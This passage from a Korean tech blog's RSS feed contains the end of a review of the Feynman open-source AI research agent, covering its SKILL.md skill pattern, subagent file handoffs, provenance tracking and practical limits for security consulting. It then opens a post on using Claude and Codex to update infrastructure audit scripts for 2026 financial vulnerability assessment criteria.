&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;어떤 워크플로우를 실행할 것인지&lt;/b&gt; (예: &lt;code&gt;/deepresearch&lt;/code&gt; 파이프라인)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;어떤 프롬프트 템플릿을 참조할 것인지&lt;/b&gt; (예: &lt;code&gt;prompts/deepresearch.md&lt;/code&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;어떤 서브에이전트를 호출할 것인지&lt;/b&gt; (예: researcher, verifier)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;산출물 형식과 저장 위치&lt;/b&gt; (예: &lt;code&gt;outputs/&lt;/code&gt;, &lt;code&gt;papers/&lt;/code&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;내장된 19개 스킬&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Feynman은 &lt;code&gt;skills/&lt;/code&gt; 디렉토리에 19개의 내장 스킬을 제공합니다.&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;height: 278px;&quot; width=&quot;842&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;분류&lt;/span&gt;&lt;/th&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;스킬 목록&lt;/span&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;연구&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;deep-research&lt;/code&gt;, &lt;code&gt;literature-review&lt;/code&gt;, &lt;code&gt;alpha-research&lt;/code&gt;, &lt;code&gt;autoresearch&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;검증&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;peer-review&lt;/code&gt;, &lt;code&gt;paper-code-audit&lt;/code&gt;, &lt;code&gt;replication&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;작성&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;paper-writing&lt;/code&gt;, &lt;code&gt;eli5&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;비교&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;source-comparison&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;인프라&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;docker&lt;/code&gt;, &lt;code&gt;modal-compute&lt;/code&gt;, &lt;code&gt;runpod-compute&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;세션&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;session-log&lt;/code&gt;, &lt;code&gt;session-search&lt;/code&gt;, &lt;code&gt;preview&lt;/code&gt;, &lt;code&gt;watch&lt;/code&gt;, &lt;code&gt;jobs&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;기여&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;contributing&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;차용할 수 있는 설계 아이디어&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Feynman의 SKILL.md 패턴에서 주목할 점은 다음과 같습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;1) 선언적 스킬 정의&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;스킬의 트리거 조건, 실행 절차, 산출물 형식을 하나의 마크다운 파일에 선언적으로 정의합니다. 코드가 아니라 자연어로 에이전트의 행동을 규정하는 방식이므로, 비개발자도 스킬의 동작을 이해하고 수정할 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;2) 프롬프트 템플릿 분리&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;SKILL.md 자체는 간결하게 유지하고, 실제 복잡한 프롬프트는 별도의 &lt;code&gt;prompts/&lt;/code&gt; 디렉토리로 분리합니다. 이렇게 하면 스킬 정의와 프롬프트 엔지니어링을 독립적으로 관리할 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;3) 파일 기반 에이전트 간 핸드오프&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;서브에이전트 간 데이터 전달을 인메모리가 아닌 파일로 수행합니다. 덕분에 각 단계의 중간 산출물을 사람이 직접 검증하거나, 특정 단계만 재실행하는 것이 가능합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;4) 출처 검증(Provenance) 내장&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;모든 주장에 &lt;code&gt;.provenance.md&lt;/code&gt; 사이드카 파일을 생성하여 &lt;code&gt;verified&lt;/code&gt;, &lt;code&gt;unverified&lt;/code&gt;, &lt;code&gt;blocked&lt;/code&gt;, &lt;code&gt;inferred&lt;/code&gt; 상태를 추적합니다. 연구 산출물의 신뢰도를 기계적으로 관리하는 패턴으로, 보안 진단 보고서 자동화에도 적용해볼 만한 구조입니다.&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;i&gt;실제로 필자의 블로그 운영에서도 유사한 구조를 적용하고 있습니다. ~/{REDACTED}/.claude/skills/ 아래에 블로그 특화 스킬(draft-content, seo-audit 등)을 SKILL.md 형태로 정의하여, AI 에이전트가 블로그의 어조와 구조를 일관되게 따르도록 하고 있습니다. Feynman의 접근 방식과 근본적으로 같은 패턴입니다.&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;5. 실무 접목 가능성 평가&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;기대했던 것&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;보안 컨설팅 업무에서 반복되는 리서치 작업, 예를 들어 CVE 분석, 클라우드 정책 조사, 취약점 진단 표준 비교 등을 Feynman으로 자동화할 수 있을지 기대했습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;현실적 한계&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;직접 테스트해본 결과, &lt;b&gt;현 단계에서 보안 연구 실무에 직접 접목하기는 어렵다&lt;/b&gt;고 판단했습니다. 주요 이유는 다음과 같습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;1) 컨텍스트 길이 제약&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;한국어 프롬프트는 영문 대비 토큰 소모가 크고, 보안 진단처럼 구체적인 맥락이 많이 필요한 작업에서는 단일 세션으로 충분한 컨텍스트를 제공하기 어려웠습니다. 실제로 &lt;code&gt;context_length_exceeded&lt;/code&gt; 에러가 빈번했습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;2) 산출물의 실무 적용 수준&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Feynman이 생성한 보고서와 프레임워크는 구조적으로는 깔끔했지만, &lt;b&gt;실제 클라우드 환경을 대상으로 한 진단 결과가 아닌 일반론적 정리 수준&lt;/b&gt;이었습니다. 보안 컨설팅에서 요구하는 구체적인 증적(evidence)이나 환경별 맞춤 진단 결과와는 거리가 있었습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;3) 프로젝트 성숙도&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;v0.2.16으로 아직 1.0에 도달하지 않은 초기 단계입니다. 2026년 3월 공개 이후 약 3주 된 시점에서 테스트한 것이므로, 안정성이나 기능 완성도를 기대하기에는 이른 시기였습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;4) 웹 검색 의존&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Feynman의 리서치 기능은 Gemini 또는 Perplexity 기반 웹 검색에 의존합니다. 내부망이나 폐쇄 환경에서의 보안 진단 업무에는 활용이 제한됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;그럼에도 가치 있는 부분&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;반면, &lt;b&gt;SKILL.md 설계 패턴과 에이전트 아키텍처 아이디어&lt;/b&gt;는 충분히 차용 가능합니다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;반복되는 진단 보고서 작성 워크플로우를 스킬로 정의하고 자동화&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;출처 검증(Provenance) 패턴을 진단 증적 관리에 적용&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;파일 기반 핸드오프를 통한 중간 산출물의 투명한 관리&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;서브에이전트 분리(조사 / 검증 / 작성 / 리뷰) 패턴의 차용&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;마치며&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Feynman은 LLM 기반 리서치 에이전트로서 흥미로운 시도를 하고 있는 프로젝트입니다. &lt;code&gt;/deepresearch&lt;/code&gt;, &lt;code&gt;/audit&lt;/code&gt;, &lt;code&gt;/replicate&lt;/code&gt; 같은 명령어로 연구 워크플로우를 자동화하겠다는 비전은 매력적입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;하지만 현 시점에서 보안 컨설팅이나 취약점 진단 같은 실무에 직접 접목하기에는 &lt;b&gt;컨텍스트 제약, 산출물의 일반론적 수준, 프로젝트 초기 성숙도&lt;/b&gt; 등의 한계가 있었습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;필자가 이 도구에서 가장 가치를 느낀 부분은 연구 결과물 자체가 아니라, &lt;b&gt;SKILL.md 기반으로 에이전트의 행동을 선언적으로 정의하고, 서브에이전트 간 파일 핸드오프로 투명하게 워크플로우를 관리하는 설계 패턴&lt;/b&gt;이었습니다. 이러한 패턴은 보안 진단 자동화, 보고서 생성 파이프라인, 연구 노트 관리 등에 충분히 응용 가능한 아이디어라고 봅니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;LLM 에이전트 도구에 관심 있는 분이라면, Feynman의 &lt;code&gt;skills/&lt;/code&gt; 디렉토리 구조와 SKILL.md 작성 방식을 한 번 살펴보시는 것을 추천합니다. 도구 자체를 당장 실무에 도입하지 않더라도, 에이전트 설계에 대한 좋은 참고가 될 것입니다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;References&lt;/span&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;a href=&quot;https://github.com/getcompanion-ai/feynman&quot;&gt;Feynman GitHub Repository&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;a href=&quot;https://feynman.is&quot;&gt;Feynman 공식 사이트&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;figure id=&quot;og_1775490459208&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Feynman &amp;mdash; The open source AI research agent&quot; data-og-description=&quot;feynman &amp;quot;what do we know about scaling laws&amp;quot; Cited research brief from papers and web feynman deepresearch &amp;quot;mechanistic interpretability&amp;quot; Multi-agent deep dive with synthesis and verification feynman lit &amp;quot;RLHF alternatives&amp;quot; Literature review with consensus&quot; data-og-host=&quot;www.feynman.is&quot; data-og-source-url=&quot;https://feynman.is&quot; data-og-url=&quot;https://www.feynman.is/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/5vC1n/dJMb9kT3GkX/b1uuAefFe3qcOcdOBgRB20/img.png?width=2762&amp;amp;height=2310&amp;amp;face=0_0_2762_2310&quot;&gt;&lt;a href=&quot;https://feynman.is&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://feynman.is&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/5vC1n/dJMb9kT3GkX/b1uuAefFe3qcOcdOBgRB20/img.png?width=2762&amp;amp;height=2310&amp;amp;face=0_0_2762_2310');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Feynman &amp;mdash; The open source AI research agent&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;feynman &quot;what do we know about scaling laws&quot; Cited research brief from papers and web feynman deepresearch &quot;mechanistic interpretability&quot; Multi-agent deep dive with synthesis and verification feynman lit &quot;RLHF alternatives&quot; Literature review with consensus&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.feynman.is&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure id=&quot;og_1775490453829&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - getcompanion-ai/feynman&quot; data-og-description=&quot;Contribute to getcompanion-ai/feynman development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/getcompanion-ai/feynman&quot; data-og-url=&quot;https://github.com/getcompanion-ai/feynman&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cbAg7J/dJMb81GXYcM/1CFxdNUK97VHV2121R5hS0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/h9x9Q/dJMb84p9nly/4xSpkYyxRzKfYuuV9OQHQ1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/bmrzjn/dJMb8869wbc/Wp3CUV1iuUt8hk2W6KkkXK/img.png?width=3100&amp;amp;height=2325&amp;amp;face=0_0_3100_2325&quot;&gt;&lt;a href=&quot;https://github.com/getcompanion-ai/feynman&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/getcompanion-ai/feynman&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cbAg7J/dJMb81GXYcM/1CFxdNUK97VHV2121R5hS0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/h9x9Q/dJMb84p9nly/4xSpkYyxRzKfYuuV9OQHQ1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/bmrzjn/dJMb8869wbc/Wp3CUV1iuUt8hk2W6KkkXK/img.png?width=3100&amp;amp;height=2325&amp;amp;face=0_0_3100_2325');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - getcompanion-ai/feynman&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Contribute to getcompanion-ai/feynman development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Side Project/  LLM Optimized</category>
      <category>feynman</category>
      <category>LLM</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/318</guid>
      <comments>https://gomguk.tistory.com/318#entry318comment</comments>
      <pubDate>Tue, 7 Apr 2026 05:49:01 +0900</pubDate>
    </item>
    <item>
      <title>[Vibe Coding Playbook] 2026 금융취약점분석평가 대응 인프라 진단 스크립트 고도화</title>
      <link>https://gomguk.tistory.com/316</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;Claude와 Codex 중심으로 진행한 경험기&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;928&quot; data-origin-height=&quot;123&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Avgaz/dJMcabDphxR/QEnhkRKAikwszOOBNt1Nk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Avgaz/dJMcabDphxR/QEnhkRKAikwszOOBNt1Nk1/img.png&quot; data-alt=&quot;토큰 리셋을 기다리며 작성하는 포스팅..&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Avgaz/dJMcabDphxR/QEnhkRKAikwszOOBNt1Nk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAvgaz%2FdJMcabDphxR%2FQEnhkRKAikwszOOBNt1Nk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;928&quot; height=&quot;123&quot; data-origin-width=&quot;928&quot; data-origin-height=&quot;123&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;토큰 리셋을 기다리며 작성하는 포스팅..&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Summary&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;LLM은 단순한 자동 코드 작성기가 아니다. &lt;b&gt;규정 준수, 운영 안정성, 기존 파이프라인 호환성&lt;/b&gt;을 함께 맞춰야 하는 작업에서 가장 큰 효과를 낸다.&lt;br /&gt;필자는 2026년 개정 금융취약점분석평가 기준을 기존 인프라 진단 스크립트에 반영하는 과정에서 Claude(Opus 4.6)와 Codex(GPT-5.4)의 사용을 병행했다. Claude는 기준 해석, 요약, 분기 전략 수립에 강했고, Codex는 실제 코드 정합성 점검과 구현 루틴 정리에 강점을 보였다.&lt;br /&gt;결국 품질 차이를 만든 것은 모델의 크기 자체보다 &lt;b&gt;질문의 구조와 역할 분리&lt;/b&gt;였다. 무엇을 어떤 모델에 맡길지 명확히 나누고, 마지막에는 반드시 &lt;b&gt;AI가 작성하고 인간이 검증하며 테스트가 증명하는 구조&lt;/b&gt;를 유지해야 전체 코드베이스에서도 신뢰성을 확보할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 들어가며&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;778&quot; data-start=&quot;508&quot; data-ke-size=&quot;size16&quot;&gt;이제 LLM 활용은 선택이 아니라 점점 업무 표준에 가까워지고 있다. 특히 인프라 진단이나 보안 점검 스크립트처럼 범용성, 적용 범위, 규정 대응 속도가 중요한 업무에서는 생산성 차이를 빠르게 체감하게 된다.&lt;br /&gt;이번 작업에서는 2026년 개정 금융취약점분석평가 항목을 기준으로 기존 진단 스크립트를 재정비하는 실험을 진행했다. 목표는 단순히 AI로 코드를 많이 생성하는 것이 아니라, &lt;b&gt;사람이 반복적으로 확인해야 하는 부담을 줄이면서도 누락과 오탐 가능성을 최소화하는 것&lt;/b&gt;이었다.&lt;/p&gt;
&lt;p data-end=&quot;940&quot; data-start=&quot;780&quot; data-ke-size=&quot;size16&quot;&gt;여기서 중요한 점은 AI에게 막연히 &amp;ldquo;수정해 달라&amp;rdquo;고 요청하는 것이 아니라, &lt;b&gt;무엇을 왜 수정해야 하는지&lt;/b&gt;를 구조적으로 전달하는 것이다. 결국 이 작업의 핵심은 모델이 잘하는 정보 정리와 맥락 연결은 AI에 맡기고, 변경 책임과 최종 판단은 사람이 가져가는 구조를 만드는 데 있었다.&lt;/p&gt;
&lt;p data-end=&quot;1224&quot; data-start=&quot;942&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1691&quot; data-origin-height=&quot;683&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZmUsi/dJMcacoLMfR/FZkPbKTvzzJ2XwsQIIMCeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZmUsi/dJMcacoLMfR/FZkPbKTvzzJ2XwsQIIMCeK/img.png&quot; data-alt=&quot;&amp;quot;현재 프로젝트 경로 실행 구조 및 목 검토 요청&amp;quot;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZmUsi/dJMcacoLMfR/FZkPbKTvzzJ2XwsQIIMCeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZmUsi%2FdJMcacoLMfR%2FFZkPbKTvzzJ2XwsQIIMCeK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1691&quot; height=&quot;683&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1691&quot; data-origin-height=&quot;683&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;&quot;현재 프로젝트 경로 실행 구조 및 목 검토 요청&quot;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
